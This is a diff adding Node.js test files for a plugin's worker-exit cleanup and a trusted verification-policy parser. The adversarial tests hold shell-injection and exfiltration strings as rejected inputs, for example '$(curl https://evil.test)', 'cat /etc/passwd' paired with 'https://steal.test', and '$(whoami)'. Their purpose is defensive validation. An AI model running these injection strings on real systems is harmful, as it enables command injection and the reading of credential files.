import('../mcp/v3/acp-worker.mjs'); + await assert.rejects( + runCliFallback({ + root: cancelled.root, + task: (await readTask(cancelled.root, cancelled.taskId)).task, + prompt: 'private fallback prompt', + signal: controller.signal, + }), + (error) => error.code === 'cancelled', + ); + const cancelledTask = (await readTask(cancelled.root, cancelled.taskId)).task; + assert.equal(cancelledTask.status, 'cancelled'); + assert.equal(cancelledTask.cleanup.status, 'pending'); + assert.equal(cancelledTask.fallback_safe, false); + + const timed = await fixture({ id: 'timeout-exit' }); + const timedTask = await persistWorkerTerminal(timed.root, timed.taskId, { + status: 'timeout', + error: { code: 'timeout', message: 'ACP task exceeded its recorded deadline.' }, + fallback_safe: false, + }, { acp_close: 'closed', codes: [] }, { wtb_handoff: 'not_applicable' }); + assert.equal(timedTask.status, 'timeout'); + assert.equal(timedTask.cleanup.status, 'pending'); + assert.equal(timedTask.fallback_safe, false); + assert.equal(workerSeamIncident(timedTask), false); +}); + +test('close timeout does not redispatch a provider prompt', async () => { + const value = await fixture({ + id: 'no-replay-after-close', + cliArgv: [process.execPath, '-e', 'process.stdout.write("SHOULD_NOT_RUN")'], + }); + const hung = hangingPromise(); + const evidence = await closeRetainedAcpResources({ + runtime: hangingRuntime(() => hung.promise), + handle: { sessionKey: 'no-replay' }, + timeoutMs: 30, + }); + hung.resolve(); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + prompt_dispatched: true, + fallback_safe: false, + }, evidence, { wtb_handoff: 'not_applicable' }); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.notEqual(terminal.result, 'SHOULD_NOT_RUN'); +}); + +test('blocked worker exit still fires the 1s watchdog', async () => { + const exits = []; + let blocked = true; + requestWorkerExit(3, { + exitMs: 20, + exit: (code) => { + if (blocked) { + blocked = false; + return; + } + exits.push(code); + }, + setTimeoutFn: (fn, ms) => { + assert.equal(ms, 20); + fn(); + return { unref() {} }; + }, + }); + assert.deepEqual(exits, [3]); +}); diff --git a/plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs b/plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs new file mode 100644 index 0000000..098d498 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-terminal-worker-exit.test.mjs @@ -0,0 +1,200 @@ +// Worker-exit seam: close retained ACP resources, bound WTB handoff, emit +// terminal stdout only after close evidence, then exit. Reconstructs both +// live-cgroup terminal-receipt incidents without touching systemd or WTB. + +import assert from 'node:assert/strict'; +import { mkdtemp, mkdir, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ACP_RESOURCE_CLOSE_MS, + WTB_HANDOFF_MS, + WORKER_EXIT_MS, + WORKER_CLEANUP_CODES, + boundedWtbHandoff, + closeRetainedAcpResources, + composeWorkerCleanup, + emitWorkerTerminalStdout, + persistWorkerTerminal, + requestWorkerExit, + runAcpTask, + runAcpWorkerCli, + workerSeamIncident, +} from '../mcp/v3/acp-worker.mjs'; +import { createTask, readTask, writeRuntimeRecord } from '../mcp/v3/task-store.mjs'; +import { + INCIDENT_1, + INCIDENT_2, + hangingPromise, + hangingRuntime, + incidentReceipt, +} from './fixtures/r1-terminal-worker-exit-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); + +async function fixture(extra = {}) { + const root = await mkdtemp(path.join(tmpdir(), 'co-engineer-worker-exit-')); + const cwd = path.join(root, 'worktree'); + await mkdir(cwd); + const taskId = extra.id ?? 'task-1'; + await createTask({ + root, + prompt: extra.prompt ?? 'review this repository', + record: { + id: taskId, + status: extra.status ?? 'accepted', + provider: extra.provider ?? 'grok', + cwd, + agent_argv: extra.agentArgv ?? [process.execPath, FAKE_AGENT, '--mode', extra.mode ?? 'normal'], + timeout_ms: extra.timeoutMs ?? 5_000, + }, + }); + return { root, cwd, taskId }; +} + +test('bounds are the frozen Wave26A worker-exit timeouts', () => { + assert.equal(ACP_RESOURCE_CLOSE_MS, 3_000); + assert.equal(WTB_HANDOFF_MS, 5_000); + assert.equal(WORKER_EXIT_MS, 1_000); +}); + +test('incident 1 and 2 receipts are live-worker hazards at the worker seam', () => { + const first = incidentReceipt(INCIDENT_1); + const second = incidentReceipt(INCIDENT_2); + assert.equal(workerSeamIncident(first), true); + assert.equal(workerSeamIncident(second), true); + assert.equal(first.status, 'completed'); + assert.equal(second.status, 'completed'); + assert.ok(first.finished_at); + assert.ok(second.finished_at); +}); + +test('incident receipts cannot emit terminal stdout without close evidence', () => { + const writes = []; + for (const incident of [INCIDENT_1, INCIDENT_2]) { + assert.throws( + () => emitWorkerTerminalStdout(incidentReceipt(incident), (chunk) => writes.push(chunk)), + (error) => error.code === WORKER_CLEANUP_CODES.CLEANUP_FAILED, + ); + } + assert.equal(writes.length, 0); +}); + +test('close then persist then stdout is the required worker-seam order', async () => { + const value = await fixture({ id: 'order-1' }); + const closeCalls = []; + const runtime = hangingRuntime(async (input) => { closeCalls.push(input); }); + const closeEvidence = await closeRetainedAcpResources({ + runtime, + handle: { sessionKey: 'order-1' }, + }); + assert.equal(closeEvidence.acp_close, 'closed'); + assert.equal(closeCalls[0].discardPersistentState, false); + assert.equal(closeCalls[0].reason, 'worker_exit'); + const terminal = await persistWorkerTerminal(value.root, value.taskId, { + status: 'completed', + result: 'ok', + }, closeEvidence, { wtb_handoff: 'not_applicable' }); + assert.equal(workerSeamIncident(terminal), false); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.cleanup.acp_close, 'closed'); + const writes = []; + emitWorkerTerminalStdout(terminal, (chunk) => writes.push(chunk)); + assert.deepEqual(JSON.parse(writes[0]), { task_id: value.taskId, status: 'completed' }); +}); + +test('ACP success records cleanup.pending after retained-resource close', async () => { + const value = await fixture({ id: 'acp-success-cleanup' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'completed'); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.cleanup.acp_close, 'closed'); + assert.equal(terminal.cleanup.wtb_handoff, 'not_applicable'); + assert.equal(workerSeamIncident(terminal), false); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); +}); + +test('provider failure still closes, stays non-replayable, and records cleanup', async () => { + const value = await fixture({ prompt: 'provider-failure', id: 'acp-fail-cleanup' }); + const terminal = await runAcpTask({ root: value.root, taskId: value.taskId }); + assert.equal(terminal.status, 'failed'); + assert.equal(terminal.cleanup.status, 'pending'); + assert.equal(terminal.prompt_dispatched, true); + assert.equal(terminal.fallback_safe, false); + assert.equal(workerSeamIncident(terminal), false); +}); + +test('bounded WTB handoff records the payload while the worker still owns the task', async () => { + const value = await fixture({ id: 'wtb-recorded' }); + await persistWorkerTerminal(value.root, value.taskId, { status: 'completed' }, { + acp_close: 'closed', + codes: [], + }, { wtb_handoff: 'not_applicable' }); + const handoff = { branch: 'codex/example', head: '9e4d3cbdb1175f92da9979a7125e29e43b9aa699' }; + const result = await boundedWtbHandoff({ + root: value.root, + taskId: value.taskId, + env: { WORKTREE_BOOTSTRAP_TASK: 'example-task' }, + cwd: value.cwd, + runFileImpl: async () => ({ stdout: JSON.stringify(handoff) }), + }); + assert.equal(result.wtb_handoff, 'recorded'); + assert.equal(result.task.handoff.head, handoff.head); + assert.equal(result.task.cleanup.wtb_handoff, 'recorded'); + assert.equal(result.task.cleanup.status, 'pending'); +}); + +test('CLI emits stdout only after close and handoff evidence, then exits', async () => { + const value = await fixture({ id: 'cli-stdout' }); + await writeRuntimeRecord(value.root, value.taskId, { pid: process.pid }); + const requestPath = path.join(value.root, 'tasks', value.taskId, 'worker-request.json'); + await writeFile(requestPath, `${JSON.stringify({ root: value.root, task_id: value.taskId })}\n`); + const writes = []; + const exits = []; + const handoffCalls = []; + await runAcpWorkerCli(['--request', requestPath], { + env: { WORKTREE_BOOTSTRAP_TASK: 'cli-stdout' }, + cwd: value.cwd, + runFileImpl: async () => ({ stdout: '{}' }), + handoffImpl: async (input) => { + handoffCalls.push(input); + const current = (await readTask(value.root, value.taskId)).task; + assert.equal(current.cleanup.status, 'pending'); + return { + attempted: true, + wtb_handoff: 'recorded', + task: { ...current, cleanup: { ...current.cleanup, wtb_handoff: 'recorded' } }, + }; + }, + stdoutWrite: (chunk) => writes.push(chunk), + stderrWrite() {}, + exit: (code) => exits.push(code), + }); + assert.equal(handoffCalls.length, 1); + assert.equal(exits[0], 0); + assert.deepEqual(JSON.parse(writes[0]), { task_id: value.taskId, status: 'completed' }); +}); + +test('worker exit is requested immediately and again within the 1s bound', () => { + const exits = []; + requestWorkerExit(0, { + exitMs: 25, + exit: (code) => exits.push(code), + }); + assert.deepEqual(exits, [0]); +}); + +test('composeWorkerCleanup never enables replay and stays on pending', () => { + const cleanup = composeWorkerCleanup( + { acp_close: 'timeout', codes: [WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT] }, + { wtb_handoff: 'timeout' }, + ); + assert.equal(cleanup.status, 'pending'); + assert.equal(cleanup.code, WORKER_CLEANUP_CODES.ACP_RESOURCE_CLOSE_TIMEOUT); + assert.equal(cleanup.wtb_handoff, 'timeout'); +}); diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs new file mode 100644 index 0000000..55ab367 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs @@ -0,0 +1,357 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_COMMANDS, + MAX_POLICY_DEPTH, + parseUntrustedCommandReferenceV1, + parseVerificationCommandDescriptorV1, + parseVerificationPolicyV1, + rejectUntrustedExecutableContentV1, + verificationPolicyDigestV1, + verificationPolicyRoots, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + countingProxy, + trapTotal, + validCommand, + validPolicy, +} from './fixtures/r1-verification-policy-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('live proxies are denied with zero traps on every policy surface', () => { + const { proxy, counts } = countingProxy(validPolicy()); + assert.equal(errorOf(() => parseVerificationPolicyV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const digestCounts = countingProxy(validPolicy()); + assert.equal(errorOf(() => verificationPolicyDigestV1(digestCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(digestCounts.counts), 0); + + const commandCounts = countingProxy(validCommand()); + assert.equal(errorOf(() => parseVerificationCommandDescriptorV1(commandCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(commandCounts.counts), 0); + + const untrustedCounts = countingProxy({ command_id: 'unit-tests' }); + assert.equal(errorOf(() => parseUntrustedCommandReferenceV1(untrustedCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(untrustedCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validPolicy(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => parseVerificationPolicyV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); + assert.equal(error.message.includes('revoked get'), false); + assert.equal(error.message.includes('TypeError'), false); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterPolicy = validPolicy(); + Object.defineProperty(getterPolicy, 'schema', { + enumerable: true, + get() { + reads += 1; + return 'codex-co-engineer.verification-policy.v1'; + }, + }); + assert.equal(errorOf(() => parseVerificationPolicyV1(getterPolicy)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingCommand = validCommand(); + Object.defineProperty(throwingCommand, 'executable', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb /etc/shadow'); + }, + }); + const error = errorOf(() => parseVerificationCommandDescriptorV1(throwingCommand)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(throwingReads, 0); + assert.equal(error.message.includes('/etc/shadow'), false); + assert.equal(error.message.includes('getter bomb'), false); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validPolicy(); + Object.defineProperty(hidden, 'version', { enumerable: false, value: 1 }); + assert.equal(errorOf(() => parseVerificationPolicyV1(hidden)).code, 'non_enumerable_property_denied'); + + const symbolled = validPolicy(); + symbolled[Symbol('injected')] = '/bin/sh'; + const symbolError = errorOf(() => parseVerificationPolicyV1(symbolled)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assert.equal(symbolError.message.includes('/bin/sh'), false); + + class SpoofedPolicy {} + const instance = new SpoofedPolicy(); + Object.assign(instance, validPolicy()); + assert.equal(errorOf(() => parseVerificationPolicyV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => parseVerificationPolicyV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => parseVerificationPolicyV1(new Date())).code, 'invalid_type'); + + const nullProto = Object.create(null); + Object.assign(nullProto, validPolicy()); + assert.doesNotThrow(() => parseVerificationPolicyV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ version: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return 1; } }; + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ version: sneaky }))).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + const boxed = validCommand({ command_id: new String('unit-tests') }); + assert.equal(errorOf(() => parseVerificationCommandDescriptorV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validPolicy(); + cyclic.self = cyclic; + assert.equal(errorOf(() => parseVerificationPolicyV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validPolicy(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => parseVerificationPolicyV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < MAX_POLICY_DEPTH + 4; index += 1) deep = { wrapped: deep }; + const deepPolicy = validPolicy(); + deepPolicy.deep = deep; + assert.equal(errorOf(() => parseVerificationPolicyV1(deepPolicy)).code, 'value_depth_exceeded'); + + const wide = validPolicy({ + commands: Array.from({ length: MAX_COMMANDS + 1 }, (unused, index) => validCommand({ + command_id: `cmd-${index}`, + })), + }); + assert.equal(errorOf(() => parseVerificationPolicyV1(wide)).code, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validPolicy(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal(errorOf(() => parseVerificationPolicyV1(unknownButHostile)).code, 'aliased_reference_denied'); +}); + +test('sparse and extended arrays are denied', () => { + const sparse = validPolicy(); + const commands = new Array(2); + commands[0] = validCommand(); + sparse.commands = commands; + assert.equal(errorOf(() => parseVerificationPolicyV1(sparse)).code, 'invalid_array'); + + const extended = [validCommand()]; + extended.extraProperty = true; + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ commands: extended }))).code, + 'invalid_array', + ); +}); + +test('non-finite and unsafe integers are denied', () => { + for (const value of [Number.NaN, Infinity, -Infinity]) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ timeout_ms: value }))).code, + 'invalid_json_value', + String(value), + ); + } + for (const value of [1.5, -0]) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ timeout_ms: value }))).code, + 'invalid_type', + String(value), + ); + } +}); + +test('executable path and argv hostiles stay closed', () => { + const paths = [ + 'npm', + './npm', + '../usr/bin/npm', + '/usr/bin/../bin/npm', + '/usr/bin/npm/', + '/usr/bin//npm', + '~/bin/npm', + '/usr/bin/npm.exe:ads', + '/usr/bin/n pm', + '/usr/bin/npm;id', + '/usr/bin/${SHELL}', + '/usr/bin/npm\u2044hack', + '/usr/bin/npm\u0000x', + ]; + for (const executable of paths) { + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ executable }))).code !== undefined, + true, + executable, + ); + } + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '$(whoami)'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '`id`'], + }))).code, + 'shell_content_denied', + ); +}); + +test('untrusted shell text in parameters is denied without echoing it', () => { + const payload = { command_id: 'unit-tests', parameters: { file: '$(curl https://evil.test)' } }; + const error = errorOf(() => parseUntrustedCommandReferenceV1(payload)); + assert.equal(error.code, 'shell_content_denied'); + assert.equal(error.message.includes('curl'), false); + assert.equal(error.message.includes('evil.test'), false); + assert.equal(error.message.includes('$('), false); +}); + +test('content-free errors never echo attacker keys, paths, URLs, or native stacks', () => { + const error = errorOf(() => parseVerificationPolicyV1(validPolicy({ + extra: { argv: ['/bin/bash', '-c', 'cat /etc/passwd'], url: 'https://steal.test' }, + }))); + assert.equal(error.code, 'unknown_key'); + assert.equal(error.message.includes('extra'), false); + assert.equal(error.message.includes('/bin/bash'), false); + assert.equal(error.message.includes('/etc/passwd'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('at parse'), false); +}); + +test('loader options reject null, primitive, function, exotic, proxy, and revoked objects', () => { + const secret = 'sk-options-secret-/etc/passwd'; + for (const value of [null, 1, 0, true, false, secret]) { + const error = errorOf(() => verificationPolicyRoots(value)); + assert.equal(error.code, 'policy_options_denied', String(value)); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/etc/passwd'), false); + } + + const fnError = errorOf(() => verificationPolicyRoots(function loaderOptions() { + throw new Error(secret); + })); + assert.equal(fnError.code, 'policy_options_denied'); + assert.equal(fnError.message.includes(secret), false); + + const date = new Date('2026-08-23T00:00:00.000Z'); + date.ownerConfigDir = '/tmp/attacker-date-config'; + const dateError = errorOf(() => verificationPolicyRoots(date)); + assert.equal(dateError.code, 'exotic_prototype_denied'); + assert.equal(dateError.message.includes('attacker-date-config'), false); + assert.equal(dateError.message.includes('2026'), false); + + const map = new Map([['ownerConfigDir', '/tmp/attacker-map-config']]); + const mapError = errorOf(() => verificationPolicyRoots(map)); + assert.equal(mapError.code, 'exotic_prototype_denied'); + assert.equal(mapError.message.includes('attacker-map-config'), false); + + class ExoticOptions {} + const exotic = new ExoticOptions(); + exotic.ownerConfigDir = '/tmp/attacker-class-config'; + assert.equal(errorOf(() => verificationPolicyRoots(exotic)).code, 'exotic_prototype_denied'); + + const nullProto = Object.create(null); + nullProto.ownerConfigDir = '/tmp/owner-config'; + const roots = verificationPolicyRoots(nullProto); + assert.equal(roots.scope, 'owner'); + assert.equal(roots.file.endsWith('verification-policy.json'), true); + assert.equal(Object.isFrozen(roots), true); + + const { proxy, counts } = countingProxy({ ownerConfigDir: '/tmp/owner-config' }); + assert.equal(errorOf(() => verificationPolicyRoots(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const { proxy: revokedProxy, revoke } = Proxy.revocable({ ownerConfigDir: '/tmp/owner-config' }, { + get() { throw new Error(`revoked get ${secret}`); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revokedProxy), true); + const revokedError = errorOf(() => verificationPolicyRoots(revokedProxy)); + assert.equal(revokedError.code, 'proxy_denied'); + assert.equal(revokedError.message.includes(secret), false); + assert.equal(revokedError.message.includes('TypeError'), false); +}); + +test('own env accessors are rejected without invocation or process-env fallback', () => { + let reads = 0; + const options = {}; + Object.defineProperty(options, 'env', { + enumerable: true, + configurable: true, + get() { + reads += 1; + throw new Error('env getter bomb /tmp/attacker-home https://steal.test'); + }, + }); + const error = errorOf(() => verificationPolicyRoots(options)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + assert.equal(error.message.includes('attacker-home'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('getter bomb'), false); + + const proxyEnv = {}; + const { proxy, counts } = countingProxy({ HOME: '/tmp/attacker-home' }); + Object.defineProperty(proxyEnv, 'env', { + enumerable: true, + configurable: true, + value: proxy, + }); + assert.equal(errorOf(() => verificationPolicyRoots(proxyEnv)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + +test('rejectUntrustedExecutableContentV1 walks nested profile and provider shapes', () => { + const nestedProfile = { + name: 'review', + policy: { commands: [{ command_id: 'x', executable: '/bin/sh' }] }, + }; + assert.equal( + errorOf(() => rejectUntrustedExecutableContentV1(nestedProfile)).code, + 'executable_content_denied', + ); + const provider = { + claims: [{ command_id: 'unit-tests', network: 'allow' }], + }; + assert.equal( + errorOf(() => rejectUntrustedExecutableContentV1(provider)).code, + 'network_content_denied', + ); +}); diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs new file mode 100644 index 0000000..b1eb09a --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs @@ -0,0 +1,513 @@ +import assert from 'node:assert/strict'; +import { chmod, mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { IDENTITY_DOMAIN, IDENTITY_LABELS } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + DEFAULT_ENVIRONMENT_RECEIPT, + DEFAULT_MUTATION_RECEIPT, + DEFAULT_NETWORK_RECEIPT, + DEFAULT_RESOURCES_RECEIPT, + DEFAULT_TIMEOUT_MS, + VERIFICATION_POLICY_SCHEMA_ID, + VERIFICATION_POLICY_VERSION, + canonicalVerificationPolicyJsonV1, + loadOwnerVerificationPolicyV1, + parseUntrustedCommandReferenceV1, + parseVerificationCommandDescriptorV1, + parseVerificationPolicyV1, + rejectUntrustedExecutableContentV1, + verificationCommandDigestV1, + verificationPolicyDigestV1, + verificationPolicyRoots, + verifyVerificationPolicyDigestV1, +} from '../mcp/v3/trusted-verification-policy.mjs'; +import { + validCommand, + validParameterizedCommand, + validPolicy, +} from './fixtures/r1-verification-policy-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('schema identity is additive v1 and does not claim a 4.0.0 major', () => { + assert.equal(VERIFICATION_POLICY_SCHEMA_ID, 'codex-co-engineer.verification-policy.v1'); + assert.equal(VERIFICATION_POLICY_VERSION, 1); + assert.equal(VERIFICATION_POLICY_SCHEMA_ID.includes('4.0.0'), false); +}); + +test('a valid owner policy round-trips into a frozen detached snapshot', () => { + const input = validPolicy(); + const snapshot = parseVerificationPolicyV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.commands), true); + assert.equal(Object.isFrozen(snapshot.commands[0]), true); + assert.equal(snapshot.schema, VERIFICATION_POLICY_SCHEMA_ID); + assert.equal(snapshot.commands[0].command_id, 'unit-tests'); + assert.equal(snapshot.commands[0].executable, '/usr/bin/npm'); + assert.deepEqual(snapshot.commands[0].argv_template, ['test']); + input.commands[0].command_id = 'other'; + input.commands[0].executable = '/bin/sh'; + assert.equal(snapshot.commands[0].command_id, 'unit-tests'); + assert.equal(snapshot.commands[0].executable, '/usr/bin/npm'); + assert.equal(Object.isFrozen(input), false); + assert.throws(() => { snapshot.commands[0].command_id = 'mutated'; }, TypeError); +}); + +test('canonical identity and digest are deterministic across key and command order', () => { + const left = validPolicy({ + commands: [validParameterizedCommand(), validCommand()], + }); + const right = { + version: 1, + commands: [validCommand(), validParameterizedCommand()], + schema: VERIFICATION_POLICY_SCHEMA_ID, + }; + assert.equal(canonicalVerificationPolicyJsonV1(left), canonicalVerificationPolicyJsonV1(right)); + const digest = verificationPolicyDigestV1(left); + assert.equal(digest.algorithm, 'sha256'); + assert.equal(digest.domain, IDENTITY_DOMAIN); + assert.equal(digest.label, IDENTITY_LABELS.VERIFICATION_POLICY); + assert.match(digest.digest, /^[0-9a-f]{64}$/u); + assert.equal(verificationPolicyDigestV1(right).digest, digest.digest); + assert.equal(verifyVerificationPolicyDigestV1(right, digest.digest), true); + assert.equal(verifyVerificationPolicyDigestV1(right, 'ab'.repeat(32)), false); + const commandDigest = verificationCommandDigestV1(validCommand()); + assert.equal(commandDigest.label, IDENTITY_LABELS.VERIFICATION_COMMAND_DESCRIPTOR); +}); + +test('absent capabilities materialize exact immutable default-deny receipts', () => { + const snapshot = parseVerificationCommandDescriptorV1(validCommand()); + assert.deepEqual(snapshot.network, DEFAULT_NETWORK_RECEIPT); + assert.equal(snapshot.network.mode, 'deny'); + assert.deepEqual(snapshot.network.hosts, []); + assert.deepEqual(snapshot.environment, DEFAULT_ENVIRONMENT_RECEIPT); + assert.deepEqual(snapshot.environment.entries, []); + assert.deepEqual(snapshot.mutation, DEFAULT_MUTATION_RECEIPT); + assert.equal(snapshot.mutation.persistent, false); + assert.equal(snapshot.mutation.workspace, 'none'); + assert.equal(snapshot.timeout_ms, DEFAULT_TIMEOUT_MS); + assert.deepEqual(snapshot.resources, DEFAULT_RESOURCES_RECEIPT); + assert.deepEqual(snapshot.parameters, {}); + + const explicitDeny = parseVerificationCommandDescriptorV1(validCommand({ + network: { mode: 'deny' }, + environment: {}, + mutation: { persistent: false }, + resources: {}, + })); + assert.equal( + canonicalVerificationPolicyJsonV1(validPolicy()), + canonicalVerificationPolicyJsonV1(validPolicy({ + commands: [validCommand({ network: { mode: 'deny' } })], + })), + ); + assert.deepEqual(explicitDeny.network, snapshot.network); + assert.deepEqual(explicitDeny.environment, snapshot.environment); + assert.deepEqual(explicitDeny.mutation, snapshot.mutation); + assert.deepEqual(explicitDeny.resources, snapshot.resources); +}); + +test('argv placeholders bind exactly once to declared parameter domains', () => { + const snapshot = parseVerificationCommandDescriptorV1(validParameterizedCommand()); + assert.deepEqual(snapshot.argv_template, ['test', '--', '{file}']); + assert.equal(snapshot.parameters.file.type, 'path_segment'); + assert.equal(snapshot.parameters.file.max_bytes, 64); + + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '{file}'], + }))).code, + 'placeholder_unbound', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validParameterizedCommand({ + argv_template: ['test', '{file}', '{file}'], + }))).code, + 'duplicate_parameter', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '--out={file}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['test', '{FILE}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validParameterizedCommand({ + argv_template: ['test', '{}'], + }))).code, + 'shell_content_denied', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: [], + }))).code, + 'out_of_range', + ); +}); + +test('parameter domain edge cases stay closed', () => { + assert.doesNotThrow(() => parseVerificationCommandDescriptorV1(validCommand({ + argv_template: ['run', '{count}', '{ok}', '{mode}'], + parameters: { + count: { type: 'integer', min: 0, max: 8 }, + ok: { type: 'boolean' }, + mode: { type: 'enum', values: ['ci', 'local'] }, + }, + }))); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'string' } }, + }))).code, + 'missing_key', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: 8, max: 1 } }, + }))).code, + 'out_of_range', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: 0.5, max: 2 } }, + }))).code, + 'invalid_type', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'integer', min: Number.NaN, max: 2 } }, + }))).code, + 'invalid_json_value', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { file: { type: 'enum', values: ['a', 'a'] } }, + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationCommandDescriptorV1(validCommand({ + parameters: { 'File': { type: 'boolean' } }, + }))).code, + 'invalid_format', + ); +}); + +test('duplicate and ambiguous command IDs fail closed', () => { + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand(), validCommand()], + }))).code, + 'duplicate_id', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: [validCommand({ command_id: 'unit\u2010tests' })], + }))).code, + 'ambiguous_id_denied', + ); + assert.equal( + errorOf(() => parseVerificationPolicyV1(validPolicy({ + commands: 